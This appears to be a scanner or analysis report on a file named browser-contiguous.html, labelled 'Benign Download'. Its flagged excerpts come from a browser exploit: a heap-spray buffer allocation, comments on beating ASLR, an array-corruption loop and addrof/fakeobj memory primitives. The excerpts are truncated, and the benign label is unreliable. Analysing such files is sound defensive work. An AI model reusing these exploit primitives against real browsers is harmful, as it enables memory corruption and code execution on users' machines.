Benign Download

browser-contiguous.html

Defines addrof object-address helper

SHA-2565ec1eb72957b250a719e6bac539d63f83516b1d4c2e5c48ff098eb377bacfe86

MaleculeH(Mg)

Evidence

English function-word token "for" lines 22–29

⋯4 lines
  lowerBound *= 2 ** 30;
  lowerBound *= 2;
  for (var i = 1; i >= lowerBound; i--) {
      if (i === 1 || i === lowerBound + 0x23dfffe || i == …

English function-word token "and" lines 46–50

46:59… iguous in browser),
47   allocate ONE 16GB buffer and create views into it.
48   This guarantees contiguity regardless of ASLR. */
49
50out('Allocating contiguous spray buffer...','info …

English function-word token "the" lines 53–57

36… rayBuffer (browser limit).
 Instead, allocate the spray arrays individually but use a different
 approach for the crossing:
56
 The KEY insight …

English function-word token "have" lines 58–61

25… ray (sp[63]) and the VICTIM array (sp[1])
 to have a KNOWN relative distance.
60
 If we allocate them from the SAME ArrayBuffer, they share one mm …

Defines addrof object-address helper lines 121–131

37… corruption successful!','ok');
122
  /* Continue with addrof/fakeobj etc... */
  var bigIntArray = sprayRefArr[0];
  var objArr = sprayRefArr[corrupted];
126
  function addrof(o){objArr[0x403fffe]=o;return bigIntArray[0]}
  function fakeobj(a){bigIntArray[0]=a;return objArr[0x403fffe]}
129
  out('[+] addrof = 0x'+addrof(arr).toString(16),'ok');
  out('[+] fakeobj …